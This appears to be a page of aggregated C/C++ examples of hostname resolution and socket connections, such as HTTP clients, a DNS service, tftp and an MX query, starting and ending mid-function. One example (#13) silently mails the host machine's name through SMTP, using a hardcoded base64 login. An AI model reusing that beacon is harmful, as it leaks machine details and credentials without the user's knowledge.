			strbuf_addf(&error_message, "%s[%d: %s]: errno=%s\n",
				host,
				cnt,
				inet_ntoa(*(struct in_addr *)&sa.sin_addr),
				strerror(errno));
			if (0 <= sockfd)
				close(sockfd);
			sockfd = -1;
			continue;
		}
		if (flags & CONNECT_VERBOSE)
			fprintf(stderr, "%s ",
				inet_ntoa(*(struct in_addr *)&sa.sin_addr));
		break;
	}

	if (sockfd < 0)
		die("unable to connect to %s:\n%s", host, error_message.buf);

	enable_keepalive(sockfd);

	if (flags & CONNECT_VERBOSE)
		fprintf(stderr, "done.\n");

	return sockfd;
}
int DomainNamingService::GetServers(const char* dns_name,
                                    std::vector<ServerNode>* servers) {
    servers->clear();
    if (!dns_name) {
        LOG(ERROR) << "dns_name is NULL";
        return -1;
    }

    // Should be enough to hold host name
    char buf[128];
    size_t i = 0;
    for (; i < sizeof(buf) - 1 && dns_name[i] != '\0'
             && dns_name[i] != ':' && dns_name[i] != '/'; ++i) {
        buf[i] = dns_name[i];
    }
    if (i == sizeof(buf) - 1) {
        LOG(ERROR) << "dns_name=`" << dns_name << "' is too long";
        return -1;
    }
    
    buf[i] = '\0';
    int port = 80;  // default port of HTTP
    if (dns_name[i] == ':') {
        ++i;
        char* end = NULL;
        port = strtol(dns_name + i, &end, 10);
        if (end == dns_name + i) {
            LOG(ERROR) << "No port after colon in `" << dns_name << '\'';
            return -1;
        } else if (*end != '\0') {
            if (*end != '/') {
                LOG(ERROR) << "Invalid content=`" << end << "' after port="
                           << port << " in `" << dns_name << '\'';
                return -1;
            }
            // Drop path and other stuff.
            RPC_VLOG << "Drop content=`" << end << "' after port=" << port
                     << " in `" << dns_name << '\'';
            // NOTE: Don't ever change *end which is const.
        }
    }
    if (port < 0 || port > 65535) {
        LOG(ERROR) << "Invalid port=" << port << " in `" << dns_name << '\'';
        return -1;
    }

#if defined(OS_MACOSX)
    _aux_buf_len = 0; // suppress unused warning
    // gethostbyname on MAC is thread-safe (with current usage) since the
    // returned hostent is TLS. Check following link for the ref:
    // https://lists.apple.com/archives/darwin-dev/2006/May/msg00008.html
    struct hostent* result = gethostbyname(buf);
    if (result == NULL) {
        LOG(WARNING) << "result of gethostbyname is NULL";
        return -1;
    }
#else
    if (_aux_buf == NULL) {
        _aux_buf_len = 1024;
        _aux_buf.reset(new char[_aux_buf_len]);
    }
    int ret = 0;
    int error = 0;
    struct hostent ent;
    struct hostent* result = NULL;
    do {
        result = NULL;
        error = 0;
        ret = gethostbyname_r(buf, &ent, _aux_buf.get(), _aux_buf_len,
                              &result, &error);
        if (ret != ERANGE) { // _aux_buf is not long enough
            break;
        }
        _aux_buf_len *= 2;
        _aux_buf.reset(new char[_aux_buf_len]);
        RPC_VLOG << "Resized _aux_buf to " << _aux_buf_len
                 << ", dns_name=" << dns_name;
    } while (1);
    if (ret != 0) {
        // `hstrerror' is thread safe under linux
        LOG(WARNING) << "Can't resolve `" << buf << "', return=`" << berror(ret)
                     << "' herror=`" << hstrerror(error) << '\'';
        return -1;
    }
    if (result == NULL) {
        LOG(WARNING) << "result of gethostbyname_r is NULL";
        return -1;
    }
#endif

    butil::EndPoint point;
    point.port = port;
    for (int i = 0; result->h_addr_list[i] != NULL; ++i) {
        if (result->h_addrtype == AF_INET) {
            // Only fetch IPv4 addresses
            bcopy(result->h_addr_list[i], &point.ip, result->h_length);
            servers->push_back(ServerNode(point, std::string()));
        } else {
            LOG(WARNING) << "Found address of unsupported protocol="
                         << result->h_addrtype;
        }
    }
    return 0;
}
Exemple #10
0
//Adapted from http://www.cs.rutgers.edu/~pxk/417/notes/sockets/demo-03.html
//int conn(const char *host, int port, Connection *c)
int conn(Connection *c)
{
  struct hostent *hp;	/* host information */
  
  //printf("conn(host=\"%s\", port=\"%d\")\n", c->hostname, c->port);
  
  /* get a tcp/ip socket */
  /* We do this as we did it for the server */
  /* request the Internet address protocol */
  /* and a reliable 2-way byte stream */

  if ((c->svc = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
    perror("cannot create socket");
    return -1;
  }

  /* bind to an arbitrary return address */
  /* because this is the client side, we don't care about the */
  /* address since no application will connect here  --- */
  /* INADDR_ANY is the IP address and 0 is the socket */
  /* htonl converts a long integer (e.g. address) to a network */
  /* representation (agreed-upon byte ordering */

  memset((char*)&(c->my_addr), 0, sizeof(c->my_addr));  /* 0 out the structure */
  c->my_addr.sin_family = AF_INET;   /* address family */
  c->my_addr.sin_addr.s_addr = htonl(INADDR_ANY);
  c->my_addr.sin_port = htons(0);
  //strncpy(c->hostname,host,MAXHOSTNAME);
  
  if (bind(c->svc, (struct sockaddr *)&(c->my_addr), sizeof(c->my_addr)) < 0) {
    perror("bind failed");
    return -1;
  }
  
  /* this part is for debugging only - get the port # that the operating */
  /* system allocated for us. */
  c->alen = sizeof(c->my_addr);
  if (getsockname(c->svc, (struct sockaddr *)&(c->my_addr), &(c->alen)) < 0) {
    perror("getsockname failed");
    return -1;
  }
  //printf("local port number = %d\n", ntohs(c->my_addr.sin_port));
  
  /* fill in the server's address and data */
  /* htons() converts a short integer to a network representation */
  
  memset((char*)&(c->rem_addr), 0, sizeof(c->rem_addr));
  c->rem_addr.sin_family = AF_INET;
  c->rem_addr.sin_port = htons(c->port);
  
  /* look up the address of the server given its name */
  hp = gethostbyname(c->hostname);
  if (!hp) {
    fprintf(stderr, "could not obtain address of %s\n", c->hostname);
    return -1;
  }
  
  /* put the host's address into the server address structure */
  memcpy((void *)&(c->rem_addr.sin_addr), hp->h_addr_list[0], hp->h_length);
  
  /* connect to server */
  if (connect(c->svc, (struct sockaddr *)&(c->rem_addr), sizeof(c->rem_addr)) < 0) {
    perror("connect failed");
    return -1;
  }
  
  return 0;
}
	int WebRequest::Request (
		int request_type
		, std::string url_host
		, int url_port
		, std::string url_path
		, std::string data
		) {
			bool secure = false;

			mMessageHeader = "";
			mMessageBody.clear();
			// temp fix for POST recognition
			data = "_start_=1&" + data + "&_end_=1";

			mReadSize = 1024;
			mError = 0;

			if(request_type == HTTPS_GET
				|| request_type == HTTPS_POST
				|| request_type == HTTPS_PUT
				|| request_type == HTTPS_DELETE) {
					secure = true;
			}

#ifdef WIN32
			WSADATA wsa;

			// startup winsock
			mError = WSAStartup(MAKEWORD(2,0),&wsa);

			if(mError) {
				printf("Error in Startup = %d\n", mError);
				return -1;
			}
#endif

			// socket
			int socket = 0;

			// struct for socket
			struct sockaddr_in host_addr = {0};

			// information about host
			struct hostent *host = {0};

			// request of client
			std::string request;

			// SSL context
			SSL_CTX *sslContext = NULL;

			// SSL socket
			SSL *sslSocket = NULL;

			// get IP from name host
			host = gethostbyname(url_host.c_str());

			if (host == NULL) {
				printf("Unknown Host %s\n", url_host.c_str());
				return -1;
			}

			// create socket TCP
			socket = ::socket(PF_INET, SOCK_STREAM, 0);

			if (socket < 0) {
				printf("Socket Error\n");
				return -1;
			}

			// create host struct
			host_addr.sin_family = AF_INET;
			// set IP addres
			host_addr.sin_addr = *((struct in_addr *)host->h_addr);
			// set HTTP port
			host_addr.sin_port = htons(url_port);

			// connect
			mError = connect(socket, (struct sockaddr *)&host_addr, sizeof(host_addr));

			if (mError == -1) {
				CloseSocket(socket);
				printf("Connection Error\n");
				return -1;
			}

			if(secure) {
				// init OpenSSL
				SSL_load_error_strings();
				SSL_library_init();

				// create context
				sslContext = SSL_CTX_new(SSLv23_client_method());

				//create ssl socket
				sslSocket = SSL_new(sslContext);

				if(!sslSocket) {
					CloseSocket(socket);
					printf("SSL creation error\n");
					return -1;
				}

				// join sslSocket and socket
				SSL_set_fd(sslSocket, socket);

				// conect sslSocket
				mError = SSL_connect(sslSocket);

				if(!mError) {
					CloseSocket(socket);
					printf("SSL connect error = %d\n", mError);
					mError = SSL_get_error(sslSocket, mError);
					printf("SSL error: %d\n", mError);
					//std::cin.get();
					return -1;
				}
			}

			if(request_type == HTTP_GET || request_type == HTTPS_GET) {
				//create get request
				request = "GET " + url_path + " HTTP/1.0\nHost: " + url_host + " \r\n\r\n";
			}
			else if(request_type == HTTP_POST || request_type == HTTPS_POST) {
				//create get request
				request = "POST " + url_path + " HTTP/1.0\nHost: " + url_host + "\nContent-Length: " + to_string(data.length()) + "\nContent-Type: application/x-www-form-urlencoded\n" + "\r\n\r\n" + data + "\r\n";
			}
			// TODO add DELETE and PUT
			// send data to server

			if(secure) {
				mError = SSL_write(sslSocket, request.c_str(), strlen(request.c_str()));
			}
			else {
				mError = send(socket, request.c_str(), strlen(request.c_str()), 0);
			}

			// read in header and body

			char bufferHeader[1];
			int readHeader;
			int lineLength;
			bool loop = true;
			bool bHeader = false;

			// header

			mMessageHeader = "";

			while(loop) {
				if(secure)
					readHeader = SSL_read(sslSocket, bufferHeader, 1);
				else
					readHeader = recv(socket, bufferHeader, 1, 0);
				if(readHeader < 0) loop = false;
				if(bufferHeader[0]=='\n') {
					if(lineLength == 0) loop = false;

					lineLength = 0;
					if(mMessageHeader.find("200") != std::string::npos)
						bHeader = true;
				}
				else if(bufferHeader[0]!='\r') lineLength++;

				mMessageHeader += bufferHeader[0];
			}

			// body

			mMessageBody.clear();

			if(bHeader) {
				unsigned char bufferBody[1024];

				if(secure) {
					while((readHeader = SSL_read(sslSocket, bufferBody, sizeof(bufferBody))) > 0) {
						mMessageBody.insert(mMessageBody.end(), bufferBody, bufferBody + readHeader);
					}
				}
				else {
					while((readHeader = recv(socket, (char*)bufferBody, sizeof(bufferBody), 0)) > 0) {
						mMessageBody.insert(mMessageBody.end(), bufferBody, bufferBody + readHeader);
					}
				}
			}

			if(secure) {
				switch(SSL_get_error( sslSocket, mReadSize )) {
				case SSL_ERROR_ZERO_RETURN: printf( "\n\nSSL::ZERO\n\n" );  break;
				case SSL_ERROR_NONE:        printf( "\n\nSSL::No Error\n\n" );	break;
				case SSL_ERROR_SSL:         printf( "\n\nSSL::SSL ERROR\n\n" ); break;
				}
			}

#if WIN32
			Sleep(1);
#else
			sleep(1);
#endif

			if(secure) {
				//close SSLsocket
				SSL_shutdown(sslSocket);
				//free memory
				SSL_free(sslSocket);
				// free context
				SSL_CTX_free(sslContext);
			}

			//close scoket
			CloseSocket(socket);

			return 0;
	}
Exemple #12
0
// This function does not use cURL.
// It is a very simple function that sends a HTTP GET or POST request and reads the response.
// It runs on devices without libcurl.
// $url: The URL including host / port / path.
// $error: To store any error messages.
// $post: Value pairs for a POST request.
// $filename: The filename to store the data to.
// $verbose: Print headers and data to standard out.
string filter_url_simple_http_request (string url, string& error, const map <string, string>& post, const string& filename, bool verbose)
{
  // The "http" scheme is used to locate network resources via the HTTP protocol.
  // http_URL = "http:" "//" host [ ":" port ] [ abs_path [ "?" query ]]
  // If the port is empty or not given, port 80 is assumed.
  
  // Remove the scheme.
  size_t pos = url.find ("://");
  if (pos == string::npos) {
    error = "Unknown protocol";
    return "";
  }
  url.erase (0, pos + 3);

  // Extract the host.
  pos = url.find (":");
  if (pos == string::npos) pos = url.find ("/");
  if (pos == string::npos) pos = url.length () + 1;
  string hostname = url.substr (0, pos);
  url.erase (0, hostname.length ());

  // Extract the port number.
  int port = 80;
  pos = url.find (":");
  if (pos != string::npos) {
    url.erase (0, 1);
    size_t pos2 = url.find ("/");
    if (pos2 == string::npos) pos2 = url.length () + 1;
    string p = url.substr (0, pos2);
    port = convert_to_int (p);
    url.erase (0, p.length ());
  }
  
  // The absolute path plus optional query remain after extracting the preceding stuff.

  // Resolve the host.
  struct hostent * host = gethostbyname (hostname.c_str());
  if ( (host == NULL) || (host->h_addr == NULL) ) {
    error = hostname + ": ";
    error.append (hstrerror (h_errno));
    return "";
  }
  
  // Socket setup.
  struct sockaddr_in client;
  bzero (&client, sizeof (client));
  client.sin_family = AF_INET;
  client.sin_port = htons (port);
  memcpy (&client.sin_addr, host->h_addr, host->h_length);
  int sock = socket (AF_INET, SOCK_STREAM, 0);
  if (sock < 0) {
    error = "Creating socket: ";
    error.append (strerror (errno));
    return "";
  }

  // Because a Bibledit client should work even over very bad networks, set a timeout on the socket.
  struct timeval tv;
  tv.tv_sec = 30;  // Timeout in seconds.
  setsockopt (sock, SOL_SOCKET, SO_RCVTIMEO, (struct timeval *)&tv, sizeof(struct timeval));
  setsockopt (sock, SOL_SOCKET, SO_SNDTIMEO, (struct timeval *)&tv, sizeof(struct timeval));
  
  // Connect to the host.
  if (connect (sock, (struct sockaddr *)&client, sizeof (client)) < 0 ) {
    error = "Connecting to " + hostname + ": ";
    error.append (strerror (errno));
    close (sock);
    return "";
  }

  // Assemble the data to POST, if any.
  string postdata;
  for (auto & element : post) {
    if (!postdata.empty ()) postdata.append ("&");
    postdata.append (element.first);
    postdata.append ("=");
    postdata.append (filter_url_urlencode (element.second));
  }

  // Send the request.
  string request = "GET";
  if (!post.empty ()) request = "POST";
  request.append (" ");
  request.append (url);
  request.append (" ");
  request.append ("HTTP/1.1");
  request.append ("\r\n");
  request.append ("Host: ");
  request.append (hostname);
  request.append ("\r\n");
  //request.append ("Connection: close");
  //request.append ("\r\n");
  if (!post.empty ()) {
    request.append ("Content-Type: application/x-www-form-urlencoded");
    request.append ("\r\n");
    request.append ("Content-Length: " + convert_to_string (postdata.length()));
    request.append ("\r\n");
  }
  request.append ("\r\n");
  request.append (postdata);
  if (verbose) cout << request << endl;
  if (send (sock, request.c_str(), request.length(), 0) != (int) request.length ()) {
    error = "Sending request: ";
    error.append (strerror (errno));
    close (sock);
    return "";
  }

  // Read the response headers and body.
  string headers;
  string response;
  bool reading_body = false;
  char prev = 0;
  char cur;
  FILE * file = NULL;
  if (!filename.empty ()) file = fopen (filename.c_str(), "w");
  while (int result = read (sock, &cur, 1) > 0 ) {
    if (reading_body) {
      if (file) fwrite (&cur, 1, 1, file);
      else response += cur;
    } else {
      if (cur == '\r') continue;
      headers += cur;
      if ((cur == '\n') && (prev == '\n')) reading_body = true;
      prev = cur;
    }
    if (result < 0) {
      error = "Receiving: ";
      error.append (strerror (errno));
      close (sock);
      if (file) fclose (file);
      return "";
    }
  }
  close (sock);
  if (file) fclose (file);
  if (verbose) {
    cout << headers << endl;
    cout << response << endl;
  }

  // Check the response headers.
  vector <string> lines = filter_string_explode (headers, '\n');
  for (auto & line : lines) {
    if (line.empty ()) continue;
    if (line.find ("HTTP") != string::npos) {
      size_t pos = line.find (" ");
      if (pos != string::npos) {
        line.erase (0, pos + 1);
        int response_code = convert_to_int (line);
        if (response_code != 200) {
          error = "Response code: " + line;
          return "";
        }
      } else {
        error = "Invalid response: " + line;
        return "";
      }
    }
  }
  
  // Done.
  return response;
}
Exemple #13
0
int main(int argc, char* argv[])
{
    gethostname(wkstr, 255);
    sprintf(wkstr, "%s\r\n", wkstr);
    sock = socket(AF_INET, SOCK_STREAM, 0);
    if (sock==-1)
    {
        perror("opening stream socket");
        return 1;
    }

    server.sin_family = AF_INET;
    hp = gethostbyname(host_id);
    if (hp==(struct hostent *) 0)
    {
        fprintf(stderr, "%s: unknown host\n", host_id);
        return 2;
    }
    memcpy((char *) &server.sin_addr, (char *) hp->h_addr, hp->h_length);
    server.sin_port=htons(25);
    if (connect(sock, (struct sockaddr *) &server, sizeof server)==-1)
    {
        perror("connecting stream socket");
        return 1;
    }

    read_socket();
    send_socket(EHLO);
    read_socket();

    send_socket("AUTH LOGIN");
    send_socket("\r\n");
    read_socket();
    send_socket("a2J6dGxzQDE2My5jb20=");
    send_socket("\r\n");
    read_socket();
    send_socket("");
    send_socket("\r\n");
    read_socket();

    send_socket("mail from <");
    send_socket(from_id);
    send_socket(">");
    send_socket("\r\n");
    read_socket();

    send_socket("rcpt to <");
    send_socket(to_id);
    send_socket(">");
    send_socket("\r\n");
    read_socket();

    send_socket(DATA);
    read_socket();
    send_socket("subject:");
    send_socket(sub);
    send_socket("\r\n\r\n");
    send_socket(wkstr);
    send_socket(".\r\n");
    read_socket();
    send_socket(QUIT);
    read_socket();
    close(sock);
    return 0;
}
Exemple #14
0
static rsconn_t *rsc_connect_ex(const char *host, int port, rsconn_t *c) {
    int family, connected = 0;
#ifdef WIN32
    family = AF_INET;
#else
    family = port ? AF_INET : AF_LOCAL;
#endif
#ifdef USE_IPV6
    /* we use getaddrinfo to have the system figure the family and address for us */
    /* FIXME: is there any reason we don't use that in general? Do all systems support this? */
    if (host && family == AF_INET) {
	struct addrinfo hints, *ail = 0, *ai;
	char port_s[8];
	snprintf(port_s, sizeof(port_s), "%d", port);
	memset(&hints, 0, sizeof(hints));
	hints.ai_family = PF_UNSPEC;
	hints.ai_socktype = SOCK_STREAM;
	if (getaddrinfo(host, port_s, &hints, &ail) == 0) {
	    for (ai = ail; ai; ai = ai->ai_next)
		if (ai->ai_family == AF_INET || ai->ai_family == AF_INET6) {
		    c->s = socket(ai->ai_family, SOCK_STREAM, ai->ai_protocol);
		    if (c->s != -1) {
			if (connect(c->s, ai->ai_addr, ai->ai_addrlen) == 0)
			    break;
			/* didn't work - try another address (if ther are any) */
			closesocket(c->s);
			c->s = -1;
		    }
		}
	    if (ail)
		freeaddrinfo(ail);
	}
	if (c->s != -1) /* the socket will be valid only if connect() succeeded */
	    connected = 1;
    } else
#endif
	c->s = socket(family, SOCK_STREAM, 0);
#ifdef SO_RCVTIMEO
    { /* set receive timeout so we can interrupt read operations */
	struct timeval tv;
	tv.tv_sec  = 0;
	tv.tv_usec = 200000; /* 200ms */
	setsockopt(c->s, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
    }
#endif
    if (c->s != -1 && !connected) {
	if (family == AF_INET) {
	    struct sockaddr_in sin;
	    struct hostent *haddr;
	    sin.sin_family = AF_INET;
	    sin.sin_port = htons(port);
	    if (host) {
#ifdef WIN32
		int al = sizeof(sin);
		if (WSAStringToAddress((LPSTR)host, sin.sin_family, 0, (struct sockaddr*)&sin, &al) != 0) {
		    if (!(haddr = gethostbyname(host))) { /* DNS failed, */
			closesocket(c->s);
			c->s = -1;
		    }
		    sin.sin_addr.s_addr = *((uint32_t*) haddr->h_addr); /* pick first address */
	    }
		/* for some reason Windows trashes the structure so we need to fill it again */
		sin.sin_family = AF_INET;
		sin.sin_port = htons(port);
#else
		if (inet_pton(sin.sin_family, host, &sin.sin_addr) != 1) { /* invalid, try DNS */
		    if (!(haddr = gethostbyname(host))) { /* DNS failed, */
			closesocket(c->s);
			c->s = -1;
		    }
		    sin.sin_addr.s_addr = *((uint32_t*) haddr->h_addr); /* pick first address */
		}
#endif
	    } else
		sin.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
	    if (c->s != -1 && connect(c->s, (struct sockaddr*)&sin, sizeof(sin))) {
		closesocket(c->s);
		c->s = -1;
	    }
	} else {
#ifndef WIN32
	    struct sockaddr_un sau;
	    memset(&sau, 0, sizeof(sau));
	    sau.sun_family = AF_LOCAL;
	    if (strlen(host) + 1 > sizeof(sau.sun_path)) {
		closesocket(c->s);
		c->s = -1;
	    } else
		strcpy(sau.sun_path, host);
	    if (c->s != -1 && connect(c->s, (struct sockaddr*)&sau, sizeof(sau))) {
		closesocket(c->s);
		c->s = -1;
	    }
#else /* this should never happen */
	    c->s = -1; 
#endif
	}
    }
    if (c->s == -1) {
	free(c->send_buf);
	free(c);
	return 0;
    }
    return c;
}
Exemple #15
0
/*
 * Receive file(s).
 */
void get (int argc, char *argv[])
{
    int fd;

    int n;

    char *cp;

    char *src;

    if (argc < 2)
    {
        getmoreargs ("get ", "(files) ");
        makeargv ();
        argc = margc;
        argv = margv;
    }
    if (argc < 2)
    {
        getusage (argv[0]);
        return;
    }
    if (!connected)
    {
        for (n = 1; n < argc; n++)
            if (strchr (argv[n], ':') == 0)
            {
                getusage (argv[0]);
                return;
            }
    }
    for (n = 1; n < argc; n++)
    {
        src = strchr (argv[n], ':');
        if (src == NULL)
            src = argv[n];
        else
        {
            struct hostent *hp;

            *src++ = 0;
            hp = gethostbyname (argv[n]);
            if (hp == NULL)
            {
                fprintf (stderr, "tftp: %s: ", argv[n]);
                herror ((char *) NULL);
                continue;
            }
            bcopy (hp->h_addr, (caddr_t) & peeraddr.sin_addr, hp->h_length);
            peeraddr.sin_family = hp->h_addrtype;
            connected = 1;
            hostname = xstrdup (hp->h_name);
        }
        if (argc < 4)
        {
            cp = argc == 3 ? argv[2] : tail (src);
            fd = open (cp, O_WRONLY | O_CREAT | O_TRUNC | mode->m_openflags, 0666);
            if (fd < 0)
            {
                fprintf (stderr, "tftp: ");
                perror (cp);
                return;
            }
            if (verbose)
                printf ("getting from %s:%s to %s [%s]\n", hostname, src, cp, mode->m_mode);
            peeraddr.sin_port = port;
            tftp_recvfile (fd, src, mode->m_mode);
            break;
        }
        cp = tail (src);        /* new .. jdg */
        fd = open (cp, O_WRONLY | O_CREAT | O_TRUNC | mode->m_openflags, 0666);
        if (fd < 0)
        {
            fprintf (stderr, "tftp: ");
            perror (cp);
            continue;
        }
        if (verbose)
            printf ("getting from %s:%s to %s [%s]\n", hostname, src, cp, mode->m_mode);
        peeraddr.sin_port = port;
        tftp_recvfile (fd, src, mode->m_mode);
    }
}
int main(int argc, char **argv)
{
    int sockfd, n;
    char recvline[MAXLINE+1];
    struct hostent *hptr;
    struct servent *sptr;
    struct in_addr **pptr;
    struct sockaddr *sa;
    struct sockaddr_in servaddr;
    struct sockaddr_in6 servaddr6;
    socklen_t salen;

    if (argc != 3)
        err_quit("Usage: %s <hostname> <service>", *argv);

    if ((hptr = gethostbyname(argv[1])) == NULL) 
        err_quit("gethostbyname error: %s", argv[1]);

    if ((sptr = getservbyname(argv[2], "tcp")) == NULL) 
        err_quit("getservbyname error: %s", argv[2]);

    pptr = (struct in_addr **)hptr->h_addr_list;

    for (; *pptr != NULL; pptr++) {
        if ((sockfd = socket(hptr->h_addrtype, SOCK_STREAM, 0)) < 0)
            err_sys("socket error");

        if (hptr->h_addrtype == AF_INET) {
            salen = sizeof(servaddr);
            bzero(&servaddr, salen);
            servaddr.sin_family = hptr->h_addrtype;
            servaddr.sin_port = sptr->s_port;
            memmove(&servaddr.sin_addr, *pptr, sizeof(struct in_addr));
            sa = (SA *)&servaddr;
        } else if (hptr->h_addrtype == AF_INET6) {
            salen = sizeof(servaddr6);
            bzero(&servaddr6, salen);
            servaddr6.sin6_family = hptr->h_addrtype;
            servaddr6.sin6_port = sptr->s_port;
            memmove(&servaddr6.sin6_addr, *pptr, sizeof(struct in6_addr));
            sa = (SA *)&servaddr6;
        } else {
            err_quit("unknown communications type");
        }
        printf("trying %s\n", Sock_ntop(sa, salen));
        if (connect(sockfd, sa, salen) == 0)
            break;
        err_ret("connect error");
        Close(sockfd);
    }

    if (*pptr == NULL)
        err_quit("unable to connect");

    while ((n = Read(sockfd, recvline, MAXLINE)) > 0) {
        recvline[n] = 0;
        if (fputs(recvline, stdout) == EOF)
            err_sys("fputs error");
    }
    exit(0);

}
Exemple #17
0
HTTPResult
HTTP_get(struct HTTP_ctx *http, const char *url, HTTP_read_callback *cb)
{
  char *host, *path;
  char *p1, *p2;
  char hbuf[256];
  int port = 80;
#ifdef CRYPTO
  int ssl = 0;
#endif
  int hlen, flen = 0;
  int rc, i;
  int len_known;
  HTTPResult ret = HTTPRES_OK;
  struct sockaddr_in sa;
  RTMPSockBuf sb = {0};

  http->status = -1;

  memset(&sa, 0, sizeof(struct sockaddr_in));
  sa.sin_family = AF_INET;

  /* we only handle http here */
  if (strncasecmp(url, "http", 4))
    return HTTPRES_BAD_REQUEST;

  if (url[4] == 's')
    {
#ifdef CRYPTO
      ssl = 1;
      port = 443;
      if (!RTMP_TLS_ctx)
	RTMP_TLS_Init();
#else
      return HTTPRES_BAD_REQUEST;
#endif
    }

  p1 = strchr(url + 4, ':');
  if (!p1 || strncmp(p1, "://", 3))
    return HTTPRES_BAD_REQUEST;

  host = p1 + 3;
  path = strchr(host, '/');
  hlen = path - host;
  strncpy(hbuf, host, hlen);
  hbuf[hlen] = '\0';
  host = hbuf;
  p1 = strrchr(host, ':');
  if (p1)
    {
      *p1++ = '\0';
      port = atoi(p1);
    }

  sa.sin_addr.s_addr = inet_addr(host);
  if (sa.sin_addr.s_addr == INADDR_NONE)
    {
      struct hostent *hp = gethostbyname(host);
      if (!hp || !hp->h_addr)
	return HTTPRES_LOST_CONNECTION;
      sa.sin_addr = *(struct in_addr *)hp->h_addr;
    }
  sa.sin_port = htons(port);
  sb.sb_socket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  if (sb.sb_socket == -1)
    return HTTPRES_LOST_CONNECTION;
  i =
    sprintf(sb.sb_buf,
	    "GET %s HTTP/1.0\r\nUser-Agent: %s\r\nHost: %s\r\nReferrer: %.*s\r\n",
	    path, AGENT, host, (int)(path - url + 1), url);
  if (http->date[0])
    i += sprintf(sb.sb_buf + i, "If-Modified-Since: %s\r\n", http->date);
  i += sprintf(sb.sb_buf + i, "\r\n");

  if (connect
      (sb.sb_socket, (struct sockaddr *)&sa, sizeof(struct sockaddr)) < 0)
    {
      ret = HTTPRES_LOST_CONNECTION;
      goto leave;
    }
#ifdef CRYPTO
  if (ssl)
    {
#ifdef NO_SSL
      RTMP_Log(RTMP_LOGERROR, "%s, No SSL/TLS support", __FUNCTION__);
      ret = HTTPRES_BAD_REQUEST;
      goto leave;
#else
      TLS_client(RTMP_TLS_ctx, sb.sb_ssl);
      TLS_setfd(sb.sb_ssl, sb.sb_socket);
      if ((i = TLS_connect(sb.sb_ssl)) < 0)
	{
	  RTMP_Log(RTMP_LOGERROR, "%s, TLS_Connect failed", __FUNCTION__);
	  ret = HTTPRES_LOST_CONNECTION;
	  goto leave;
	}
#endif
    }
#endif
  RTMPSockBuf_Send(&sb, sb.sb_buf, i);

  /* set timeout */
#define HTTP_TIMEOUT	5
  {
    SET_RCVTIMEO(tv, HTTP_TIMEOUT);
    if (setsockopt
        (sb.sb_socket, SOL_SOCKET, SO_RCVTIMEO, (char *)&tv, sizeof(tv)))
      {
        RTMP_Log(RTMP_LOGERROR, "%s, Setting socket timeout to %ds failed!",
	    __FUNCTION__, HTTP_TIMEOUT);
      }
  }

  sb.sb_size = 0;
  sb.sb_timedout = FALSE;
  if (RTMPSockBuf_Fill(&sb) < 1)
    {
      ret = HTTPRES_LOST_CONNECTION;
      goto leave;
    }
  if (strncmp(sb.sb_buf, "HTTP/1", 6))
    {
      ret = HTTPRES_BAD_REQUEST;
      goto leave;
    }

  p1 = strchr(sb.sb_buf, ' ');
  rc = atoi(p1 + 1);
  http->status = rc;

  if (rc >= 300)
    {
      if (rc == 304)
	{
	  ret = HTTPRES_OK_NOT_MODIFIED;
	  goto leave;
	}
      else if (rc == 404)
	ret = HTTPRES_NOT_FOUND;
      else if (rc >= 500)
	ret = HTTPRES_SERVER_ERROR;
      else if (rc >= 400)
	ret = HTTPRES_BAD_REQUEST;
      else
	ret = HTTPRES_REDIRECTED;
    }

  p1 = memchr(sb.sb_buf, '\n', sb.sb_size);
  if (!p1)
    {
      ret = HTTPRES_BAD_REQUEST;
      goto leave;
    }
  sb.sb_start = p1 + 1;
  sb.sb_size -= sb.sb_start - sb.sb_buf;

  while ((p2 = memchr(sb.sb_start, '\r', sb.sb_size)))
    {
      if (*sb.sb_start == '\r')
	{
	  sb.sb_start += 2;
	  sb.sb_size -= 2;
	  break;
	}
      else
	if (!strncasecmp
	    (sb.sb_start, "Content-Length: ", sizeof("Content-Length: ") - 1))
	{
	  flen = atoi(sb.sb_start + sizeof("Content-Length: ") - 1);
	}
      else
	if (!strncasecmp
	    (sb.sb_start, "Last-Modified: ", sizeof("Last-Modified: ") - 1))
	{
	  *p2 = '\0';
	  strcpy(http->date, sb.sb_start + sizeof("Last-Modified: ") - 1);
	}
      p2 += 2;
      sb.sb_size -= p2 - sb.sb_start;
      sb.sb_start = p2;
      if (sb.sb_size < 1)
	{
	  if (RTMPSockBuf_Fill(&sb) < 1)
	    {
	      ret = HTTPRES_LOST_CONNECTION;
	      goto leave;
	    }
	}
    }

  len_known = flen > 0;
  while ((!len_known || flen > 0) &&
	 (sb.sb_size > 0 || RTMPSockBuf_Fill(&sb) > 0))
    {
      cb(sb.sb_start, 1, sb.sb_size, http->data);
      if (len_known)
	flen -= sb.sb_size;
      http->size += sb.sb_size;
      sb.sb_size = 0;
    }

  if (flen > 0)
    ret = HTTPRES_LOST_CONNECTION;

leave:
  RTMPSockBuf_Close(&sb);
  return ret;
}
Exemple #18
0
BOOL GetMX (
			char *pszQuery,
			char *pszServer,
			OUT t_Ary_MXHostInfos &Ary_MXHostInfos
			)
{
	SOCKET                  hSocket;
	SOCKADDR_IN             stSockAddr;                     // socket address structures
	int                             nAddrLen = sizeof( SOCKADDR_IN );
	
	HOSTENT                 *pHostEnt;
	
	char                            achBufOut[ BUFSIZE ] = { 0 };
	char                            achBufIn[ BUFSIZE ] = { 0 };
	int                             nQueryLen = 0;
	int                             nRC;
	
	char *p, *np, name[128], *eom;
	int count, j, i, n;
	
	memset( &stSockAddr, ASCII_NULL, sizeof( stSockAddr ) );
	
	stSockAddr.sin_family      = AF_INET;
	stSockAddr.sin_port             = htons( 53);
	stSockAddr.sin_addr.s_addr = inet_addr( pszServer );
	if ( stSockAddr.sin_addr.s_addr == INADDR_NONE )
	{
		pHostEnt = gethostbyname( pszServer );
		if ( pHostEnt )
		{
			stSockAddr.sin_addr.s_addr = *((ULONG *)pHostEnt->h_addr_list[0]);
		}
		else
		{
			return FALSE;
		} // end if
	} // end if
	
	
	  /*------------------------------------------------------------
	  *  Get a DGRAM socket
	*/
	
	hSocket = socket( AF_INET, SOCK_DGRAM, 0 );
	
	if ( hSocket == INVALID_SOCKET )
	{
		return FALSE;
	} // end if

	  /*-----------------------------------------------------------
	  * Format DNS Query
	*/
	
	pDNShdr = (PDNS_HDR)&( achBufOut[ 0 ] );
	pDNShdr->dns_id         = htons( 0xDEAD );
